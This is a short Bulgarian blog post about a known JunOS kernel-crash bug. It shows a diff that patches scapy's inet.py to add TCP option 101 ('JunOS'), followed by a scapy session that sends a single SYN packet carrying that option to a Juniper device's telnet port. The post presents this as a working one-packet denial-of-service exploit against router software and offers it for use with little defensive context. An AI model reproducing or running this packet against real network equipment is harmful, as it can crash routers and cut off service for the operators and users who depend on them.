Всичко е bug-ливо …

One packet makes it fall down. from The Crew of Praetorian Prefect on Vimeo.

На FreeBSD е лесно – правите

portmaster net/scapy

и след това

На FreeBSD 8.0 box със scapy 2.1.0 (от ports). inet.py се намира в /usr/local/lib/python2.6/site-packages/scapy/layers.

$ diff inet.py inet.py.bak
203,204c203
<                 15 : ("AltChkSumOpt",None),
<                 101 : ("JunOS",None)
---
>                 15 : ("AltChkSumOpt",None)
215d213
<                 "JunOS":101
$

След модификацията може да се използва scapy да изпрати a JunOS killin’ packet!

$ sudo scapy
Welcome to Scapy (2.1.0)
>>> p=IP(dst='192.168.1.61')/TCP(dport=23,flags='S',options=[('JunOS', '')])
>>> send(p)
.
Sent 1 packets.
>>>

за останалите

http://secdev.org/projects/scapy

другото е както е показано във филмчето …

Благодаря на Ангел 🙂 за това че ми обърна внимание към темата …

Sources:

http://evilrouters.net/2010/01/10/use-scapy-to-send-junos-killin-packet/

http://praetorianprefect.com/archives/2010/01/junos-juniper-kernel-crash-video/